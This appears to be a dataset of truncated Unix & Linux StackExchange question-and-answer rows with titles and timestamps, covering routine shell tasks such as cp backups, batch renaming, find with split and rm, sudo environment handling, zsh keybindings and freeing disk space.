But the thing is, the cp command in general backs up a file. One could argue a copy of a file is a backup.
So more precisely, my question is this: what does the -b option do that the cp command doesn't do already?
The cp(1) man pag... |
It makes a backup copy of each destination file that already exists. The ones that would otherwise get overwritten and lost.
$ mkdir foo; cd foo
$ echo hello > hello.txt
$ echo world > world.txt
$ cp -b hello.txt world.txt
$ ls
hello.txt world.txt~ world.txt
$ cat world.txt
hello
$ cat world.txt~
world
That world.t... | What precisely does cp -b (--backup) actually do? |
1,515,164,174,000 |
This thread (https://superuser.com/questions/659876/how-to-rename-files-and-replace-characters) has proven bountiful and does what I need it to do, except, I need to replace just the first instance of a character in a filename.
How can I make it so that this:
for f in *:*; do mv -v "$f" $(echo "$f" | tr '.' '_'); done... |
Unfortunately, the method you tried is more complex than it needs to be, and fragile (it breaks if file names contain certain special characters). Here's a simpler method relying on parameter expansion to transform the file name:
for f in *; do mv -v -- "$f" "${f/./_}"; done # replace the first .
for f in *; do mv -... | Linux: rename files in loop while only targeting the first instance of a specific character |
1,515,164,174,000 |
Also I used whereis & which command to check if the package exists
and it does exist.
|
It is installed to /usr/sbin/tcpdump, since tcpdump is supposed to run as root user or with equivalent privilege.
To verify that, you can use dpkg -L to show where the installed files are located on disk:
$ dpkg -L tcpdump
/.
/etc
/etc/apparmor.d
/etc/apparmor.d/usr.sbin.tcpdump
/usr
/usr/sbin
/usr/sbin/tcpdump ... | I installed tcpdump, but it is showing command not found while using it |
1,515,164,174,000 |
It happens every now and then that there's an application installed in my system which I don't know how to run from the command-line.
To find out, I usually Google or search the output of lsof (not always successfully) after running the application from the GUI.
There has to be an easier way. What is it?
|
Applications which you can start from your desktop environment are described by .desktop files, which are stored in /usr/share/applications and ~/.local/share/applications (strictly speaking, the corresponding XDG directories, but those are the default settings). Given an application name, as shown by your desktop env... | How to tell what command opens an application? |
1,515,164,174,000 |
I want the output of the time command to be shown only if the command, which has been passed to time was successful. Something like this:
( time wget -pq --delete-after https://www.example.com ) 2>&1 || echo fail
The problem is, that if wget fails, I still receive the output from time (which is somewhere logical, as ... |
You can do something like this:
$ if var=$( { time true; } 2>&1 ); then echo "$var"; else echo fail; fi
real 0m0.000s
user 0m0.000s
sys 0m0.000s
$ if var=$( { time false; } 2>&1 ); then echo "$var"; else echo fail; fi
fail
| Display output of `time` only if command after `time` was successful |
1,515,164,174,000 |
When I run duplicity with the -v8 switch I get the following output:
M home/user/Documents/test.txt
D home/user/VirtualBox VMs/win10/Logs/VBox.log.2
A home/user/.config/VirtualBox/example.log
What does the capital letters in front of the paths mean?
|
I could not find this documented; probably my Google-fu is
lacking, but the flags you mentioned, A, D, and M, appear to
stand for "added", "deleted", and "modified", respectively, according
to the source code (in diffdir.py):
log.Info(_("A %s") %
(util.ufn(delta_path.get_relative_path())),
log.InfoCo... | What does the A, D and Ms mean when running Duplicity with high verbosity? |
1,515,164,174,000 |
How can I receive the output of two or more independent processes in a third location without affecting the two processes?
I have two processes, A and B, each running in their own screen, continuously outputting stuff.
I can run screen and attach to A to see its output:
12:00 Foo.
12:02 Foo.
12:04 Foo.
Same with B:
1... |
You can pipe the output of each command to tee file and tail -f the file. There is no synchronization between the processes so the output will be interleaved (in possibly ugly fashion). If you are worried about filling up the disk, you might be able to output to a named pipe instead:
[first screen]
$ mkfifo /tmp/foo
$... | Combine output from multiple independent processes in another terminal |
1,515,164,174,000 |
I'm trying to use GNU Parallel to run a comman mutliple times with a combination of constant and varying arguments. But for some reason the constant arguments are split on white-space even though I've quoted them when passing them to parallel.
In this example, the constant argument 'a b' should be passed to debug-call... |
parallel runs a shell (which exact one depending on the context in which it is called, generally, when called from a shell, it's that same shell) to parse the concatenation of the arguments.
So:
parallel debug-call 'a b' {} ::: 'a b' c
is the same as
parallel 'debug-call a b {}' ::: 'a b' c
parallel will call:
your-... | Prevent GNU parallel from splitting quoted arguments |
1,515,164,174,000 |
I have a file x1 in one directory (d1) and I'm not sure if the same
file is already copied (x2) in another directory (d2) (but automatically
renamed by application).
Can I check if hash of file x1 from directory d1 is equal to hash of some file x2 existing in directory d2?
|
This is a good approach, but the search will be a lot faster if you only calculate hashes of files that have the right size. Using GNU/BusyBox utilities:
wanted_size=$(stat -c %s d1/x1)
wanted_hash=$(sha256sum <d1/x1)
find d2 -type f -size "${wanted_size}c" -execdir sh -c 'test "$(sha256sum <"$0")" = "$1"' {} "$wanted... | Find a file by hash |
1,515,164,174,000 |
As a part of our project we should classify sound samples (stored as .wav files). All sample is the same, just pure speech (like a Skype test call).
The process is the following:
a reference wav, this is the "high quality" sample
comparing approx. 1000 wav files
calculating divergence from the reference wav one by on... |
What I believe you are trying to measure (by stating divergence) is the PESQ, Perceptual Evaluation of Speech Quality, of each file. This is a standarized form ITU-T recommendation P.862 (02/01) http://en.wikipedia.org/wiki/PESQ.
You have different projects implementing what you are searching for. For example
https://... | Comparing .wav samples from command line |
1,515,164,174,000 |
I am working in the computer at home I want to send me an email and I tried:
uuencode all.sh all.sh | mail [email protected]
But the problem is that nothing arrive to my email, I just get the following error:
mail: cannot send message: Process exited with a non-zero status
The fact is that I use the same command in... |
The basic mail command is only a mail reader and composer, it doesn't know how to talk to a server over the network (with the SMTP protocol). Talking SMTP is the job of a MTA (message transfer agent). The default MTA on Ubuntu is Postfix. To configure Postfix, run
sudo dpkg-reconfigure postfix
If you only want to sen... | What should I configure to send mail on the command line? |
1,515,164,174,000 |
I am looking to retrieve a list of network interfaces.
Currently I am returning the results of ip addr and then doing some regex/string searching from output like this:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
... |
Yes, you can.
Using grep with PCRE(-P):
ip addr | grep -Po '^\d+:\s+\K[^:]+'
^\d+:\s+ matched the portion before interface name at the start, \K discards the match
[^:]+ gets the portion upto the next : i.e. the interface name
Similar logic using sed:
ip addr | sed -nE 's/^[[:digit:]]+:[[:blank:]]+([^:]+).*/\1/p'
... | Can I get just the list of network interfaces from ip? |
1,515,164,174,000 |
I have a simple bash script bash.sh that starts another bash instance using pkexec.
#!/bin/bash
bash -c 'pkexec bash'
When executed this shows a prompt for the user to enter their password. The main script bash.sh runs as normal user but the bash instance started by it runs as root with elevated privileges.
When I op... |
This is normal. To understand it, let's see how file descriptors work and how they are passed between processes.
You mentioned that you are using GLib.spawn_async() to spawn the shell script. That function, presumably, creates a pipe to be used for sending data into the child's stdin (or perhaps you create the pipe yo... | Executing commands in an elevated bash process by writing to the standard input of its parent script process |
1,515,164,174,000 |
I would like to send stdout to multiple commands, however I'm not sure how do I read from standard input within process substitution?
My attempts:
$ echo foo >(cat /dev/stdin) >(cat /dev/stdin)
foo /dev/fd/63 /dev/fd/62
$ echo foo >(cat -) >(cat -)
foo /dev/fd/63 /dev/fd/62
$ echo foo >(cat <&3) >(cat <&3) 3<&0
foo... |
This reads from stdin:
echo foo | tee >(read line </dev/stdin; echo "internal $line")
You have to keep in mind that a process substitution acts "like" a file.
It could be used where a file is expected. The command tee expects to write to a file.
In that command we are being specific about the device to read from with... | How to read from stdin in process substitution? [duplicate] |
1,515,164,174,000 |
I am attempting to update a single directory I created. I'm using updatedb so it will be found by the locate command.
Command used:
updatedb --localpaths='/frodo/lib/modules/3.12.3-031203-generic/kernel'
Output:
updatedb: unrecognized option '--localpaths=/frodo/lib/modules/3.12.3-031203-generic/kernel'
Same result w... |
There are two popular implementations of updatedb. One of them is from GNU findutils. Another is mlocate. They support different command line options and configuration files, especially for the updatedb program.
It appears that the updatedb command on your system is the one from mlocate but the man page is the one fro... | Updatedb unrecognized option '--localpaths=' |
1,515,164,174,000 |
Silly question, but hopefully some easy rep for someone. I am new to the linux/open source community, and I find it very feature rich, but often confusing.
I am trying to configure a speedy environment for research, and want to know how to initiate a program from the terminal and, if possible, to predetermine which ar... |
Launching a program from the terminal is as easy as running the executable. For example:
$ firefox &
The '&' above is optional, and it puts the process in the background, which lets you immediately run another program in the same terminal.
You can only pre-determine the screen location of the program's window if the ... | Initiating programs from command line |
1,515,164,174,000 |
If I get the result of a command on a variable, how can I print this output with new lines. Silly example:
XX=$(ls -l); echo $XX
When I execute the above sentence, I have one line ilegible result instead of a formatted return as I saw when ls -l is executed on a terminal. Is there any way to get the result of a comma... |
You need double quotes to make the shells don't perform field splitting:
XX="$(ls -l)"; echo "$XX"
But it's not good to use echo with variable that you don't know its content, you should use printf (read this answer) instead:
XX="$(ls -l)"; printf '%s\n' "$XX"
| Print newlines on command output |
1,515,164,174,000 |
Please explain this command in detail.
I am using this command to find large files above 6 MB and split them into 5 MB chunks in the same folder. Then it removes the original files (larger than 6MB) in the same directory.
find . -size +6M -exec split -d -b 5M {\} {}-part \; | find . -size +6M -exec rm -rf {} \;
I hav... |
From the manpage of find:
The string `{}' is replaced by the current file name being processed
everywhere it occurs in the arguments to the command...
So, the first part of the find command searches for files greater than 6 MB and executes (-exec) split on every found file.
For Example, if the found file is ... | What does `{\} {}` mean in `find` command? |
1,515,164,174,000 |
When I work with the terminal and use su or sudo to execute a command with the root user's permissions, is it possible to apply the configuration of my "non-root user" (from which I am invoking su or sudo) stored in this user's home directory?
For instance, consider that (being logged on as a non-root user) I would li... |
Use sudo -E to preserve your environment:
$ export FOO=1
$ sudo -E env | grep FOO
FOO=1
That will preserve $HOME and any other environment variables you had, so the same configuration files you started with will be accessed by the programs running as root.
You can update sudoers to disable the env_reset setting, whic... | Use non-root user configuration for root account |
1,515,164,174,000 |
I would like to execute source ~/.bashrc every time I finish editing a file with vim (i.e. after :wq vim command).
How should I configure vim or bash to work that way?
|
A direct way to do it:
vim ~/.bashrc && source $_
You can make an alias:
alias vimbashrc='vim ~/.bashrc && source $_'
This works in bash or zsh. In other shell, you must explicit name .bashrc to source to make it work:
alias vimbashrc='vim ~/.bashrc && source ~/.bashrc'
| Configure bash and/or vim to execute source ~/.bashrc every time I finish editing it |
1,515,164,174,000 |
When I copy, move, or delete a file in Nautilus or using the corresponding commands (cp, mv, or rm) does the same tool perform the action behind the wraps?
I ask because nautilus tends to hang on big files or too many files. I have the impression that it's not that efficient.
|
No it doesn't just make calls to cp, mv, etc.
Rather, it makes calls to a GTK+ library that contains wrapper functions around C/C++ system libraries that also contain functions. It is these C/C++ functions that are shared across Nautilus and commands such as cp, mv, etc.
Example
You can use the system tracing tool st... | Are nautilus and command-line commands the same? |
1,515,164,174,000 |
I am trying to find a way to execute a specific command when connecting to a server via SSH. By this I mean, the command will execute unconditionally on opening a connection, so this would preferably be run at the same time that a Banner option would be printed if set. I am not trying to run a command after logging in... |
You can run sshd via inetd, with inetd running:
sh -c 'your-command; exec sshd -iD'
upon an incoming connection (see the caveat in sshd(8) though).
| Executing a remote command on SSH connection, before login |
1,515,164,174,000 |
I have an directory structure like this:
application1
application1_edit
application2
application2_edit
Is there any way to get the total size for every folder (including sub-directories) and exclude all folders with _edit in name?
I have tried du -s on the root folder, but it lists all sub-directories.
|
Something like this should do it.
$ du -s application[12]
Example
$ ls -l
total 16
drwxrwxr-x 2 saml saml 4096 Nov 28 01:51 application1
drwxrwxr-x 2 saml saml 4096 Nov 28 01:51 application1_edit
drwxrwxr-x 2 saml saml 4096 Nov 28 01:51 application2
drwxrwxr-x 2 saml saml 4096 Nov 28 01:51 application2_edit
Disk usa... | Getting size of directories and exclude some folders |
1,373,893,866,000 |
I'm looking for a way to get the PID of a short child process in Linux. The process is instant from a human perspective. I know the parent process which will spawn the child process.
Is there a way to log information about all the processes that are created by a specific parent process?
I'm not looking for a way to r... |
You could use the audit system:
sudo auditctl -a exit,always -S execve -F ppid="$pid"
would cause audit entries to be generated each time a child of $pid executes a command. audit.log would have things like:
type=SYSCALL msg=audit(1373986729.977:377): arch=c000003e syscall=59 success=yes exit=0 a0=7ff000e4b188 a1=7ff... | How to get the id of a very short child process if the parent is known? |
1,373,893,866,000 |
I'm living in China, and lots of web service is not available or stable here like Github/Bitbucket/Imgur, When I'm using wget, git or some other commandline tools, I need using a proxy.
Is there any tool to globally wrap socket connection in one terminal, so I don't need to memorize all the separate method for each co... |
I found one, it is proxychain: https://github.com/haad/proxychains
| Commandline global proxy program? |
1,373,893,866,000 |
I'm running Fedora 17, Gnome (3?), and using bash from terminal. Whenever I run lpstat I only get a list of my jobs, but every time I go to retrieve my jobs from the printer, somebody else is printing and mine hasn't even started! What gives?
I want to view a list of all users' jobs, not just mine.
I tried lpq to no... |
lpstat -u all (as root) should show all users and all jobs that are currently queued:
-u <logon-IDs>
Prints the status of output requests for users, in which can be one or all of the following:
<user> - A user on the local system, as in lpstat -u user
<host!user> - A user on a system, as in lpstat -u systema!user
<... | View all user's printing jobs from the command line |
1,373,893,866,000 |
In the grub.conf configuration file I can specify command line parameters that the kernel will use, i.e.:
kernel /boot/kernel-3-2-1-gentoo root=/dev/sda1 vga=791 plasticDuck
After booting up a given kernel, is there a way to tell if all parameters were passed 'correctly'?
I.e. there is no plasticDuck kernel paramete... |
I don't think there's a command that lists built-in modules parameters and their values. If you know the path to the driver files you could list the parameters for that module e.g. if you used ipv6.autoconf=0 as a kernel boot parameter you could run:
ls -1 /sys/module/ipv6/parameters/
autoconf
disable
disable_ipv6
an... | How to tell of whether the kernel parameter [passed at command line] is a valid kernel parameter? |
1,373,893,866,000 |
updated:
I'd like to save a large amount data ( ~ 100MB ) from the standard input in temporary location for the duration of my bash session.
Piping it to a file won't work as I have only 30MB of free space. I also don't want to save it in a variable.
I'd obviously have to utilize some space other than that of my Disk... |
you can mount an ramfs and store data there (as a file)
# mkdir /media/ram
# mount -t ramfs none /media/ram
# <texfile grep pattern > /media/ram/ram
# cat /media/ram/ram
# umount /media/ram
| How to save temp data |
1,373,893,866,000 |
I've tried using answers given on here, and it doesn't seem to be working. Below are the commands I tried to remove all files with the index.php prefix in this directory on my CentOS system. The first two seem to have run but didn't do anything?
$ find . -prune -name 'index.php.*' -exec rm {} +
$ find . -prune -name '... |
Lets assume we have this test data set of test files:
$ tree
.
├── index.php
├── index.php.bar
├── index.php.foo
├── keppme.php
└── level1
├── index.php
├── index.php.l1
├── keepme.php
└── level2
├── index.php
├── index.php.foo
└── keepme.php
Delete all files starting with inde... | Removing multiple files with same prefix (argument list too long) |
1,373,893,866,000 |
return runs command and clears the command line. Is it possible to skip the clear part? So the command is executed but command line and cursor position is preserved so you can keep editing it.
Alternative is to recall the command from history, but it is more keystrokes and looses cursor position
|
You could use the builtin bind to get the current line buffer and evaluate it on a given shortcut, for example to bind on ctrl + j:
bind -x '"\C-j": eval "$READLINE_LINE"'
Just tested superficially, use it at your own risk ;)
The readline function operate-and-get-next is close to what you want but not exactly that.
| Run command and keep editing it in Bash |
1,373,893,866,000 |
In emacs, there is this shortcut
M-\
Delete spaces and tabs around point (delete-horizontal-space).
https://www.gnu.org/software/emacs/manual/html_node/emacs/Deletion.html
it also works in bash. I wonder if there is an equivalent in zsh, or how to define one, please?
|
I don't think there is, but you can always write it yourself as:
delete-horizontal-space() {
emulate -L zsh
set -o extendedglob
LBUFFER=${LBUFFER%%[[:blank:]]##}
RBUFFER=${RBUFFER##[[:blank:]]##}
}
zle -N delete-horizontal-space
bindkey '\e\\' delete-horizontal-space
| is there a shortcut to delete spaces and tabs around a point in zsh |
1,373,893,866,000 |
I recently switched from bash to zsh. One (annoying) difference is that when I do Esc-K (in vi editing mode) to move back in command-line history, the cursor is placed at the end of the line initially. I want it to be at the beginning of the line initially. How can I get what I want?
|
For some reason, the default mappings for j and k in the vicmd key map are:
"j" down-line-or-history
"k" up-line-or-history
Remapping them as follows should make them work the way you want:
bindkey -a j vi-down-line-or-history
bindkey -a k vi-up-line-or-history
| zsh: history with cursor at beginning of line |
1,373,893,866,000 |
I use EC2 on Amazon Web Services. The OS of the t2.micro instance is a customized “Amazon Linux” with 1 GiB RAM and 1 vCPU. When accessing this instance via their Cloud9 IDE I find that by default already 73% of the available file space (7.8G on /dev/xvda1) is occupied, and I can only use the remaining 2.2G.
My requi... |
1. remove dispensable packages
Amazon Linux instances manage their software using the yum package manager. The yum package manager can install, remove, and update software, as well as manage all of the dependencies for each package.
– Managing Software on Your Linux Instance
I have executed the following to produ... | How to trim down Amazon Linux OS for more free space? |
1,373,893,866,000 |
I have to find the symbolic link which contains the longest folder name in a folder full of symbolic links. So far I have this:
find <folder> -type l -printf "%l\n"
I was wondering if there's any way to save the folder names while searching, something like this pseudo code:
if [length > max]
{
max = length
var = ... |
find /path/to/base -type l | awk -F/ 'BEGIN {maxlength = 0; longest = "" } length( $NF ) > maxlength { maxlength = length( $NF ); longest = $NF } END { print "longest was", longest, "at", maxlength, "characters." }'
To make the awk more readable:
BEGIN {
maxlength = 0
longest = ""
}
length( $NF ) > maxlength ... | Find the longest file name |
1,373,893,866,000 |
Basically, I want to open the current folder I'm in from terminal. I do gnome-open . from terminal and this opens the current folder I'm in.
In my .bashrc, I have a simple function called open that does this for me.
function open() {
gnome-open . }
So I just call open, and it works. The only issue is that I g... |
In case anyone wanted to know, I simply changed my function to redirect the error stuff.
Now it becomes
function open() {
gnome-open . &>/dev/null
}
| How do I hide warning messages that come from a specific command? |
1,373,893,866,000 |
I have a lot of files that start with numbers and are then hyphenated with descriptions.
For example:
001 - awesomesauce
216 - stillawesomesauce
They are organized by subdirectory
So, how would I using bash script or some built-in look inside those directories to see if I am missing a number in order? I.e. report b... |
On a gnu setup you could run:
myarr=( $(find . -type f -name '[0-9][0-9][0-9]*' -printf '%f\n' | cut -c1-3 | sort -n) )
join -v1 <(seq -w ${myarr[-1]}) <(printf '%s\n' ${myarr[@]})
Alternatively, with zsh, you could try something like this:
myarr=( **/[0-9][0-9][0-9]*(.one_'REPLY=${${REPLY:t}:0:3}'_) )
mynums=( {001... | List missing file names in a pattern |
1,373,893,866,000 |
Simplified down, I want to write a shell function which runs a program in a new window. For applications like … emacs, firefox, gitk that can look like this:
myopen() {
$@
}
But I want to open applications which run in the terminal in a new terminal, e.g. for alsamixer, vim, bash, zsh it should look like
myopen() {... |
It looks like gtk-launch will do what you want. It will launch an application using the information in the .desktop file. Here is some relevant information from the man page:
gtk-launch takes at least one argument, the name of the application to launch. The name
should match application desktop file name, as... | determine (in script) if command runs in terminal (from desktop file?) |
1,373,893,866,000 |
Recently, I was backing up a directory tree using cp -r, when I ran out of space in the receiving drive. I had to carry on with the backup, but to a different destination. Normally, to resume a cp command, you would ask cp to only copy the file if it isn't in the destination. You can see the problem here.
Here was my ... |
If your lists are sorted you could use comm -23 to get the unique elements of the first list. If they are not, you could use grep like
find -type f | grep -vFxf /tmp/alreadyCopied
-v will find all the lines without a match
-F tells it to use the strings as fixed strings, not as patterns
-x matches the whole line in... | Set minus of two newline-terminated lists / generic blacklisting using common household items |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.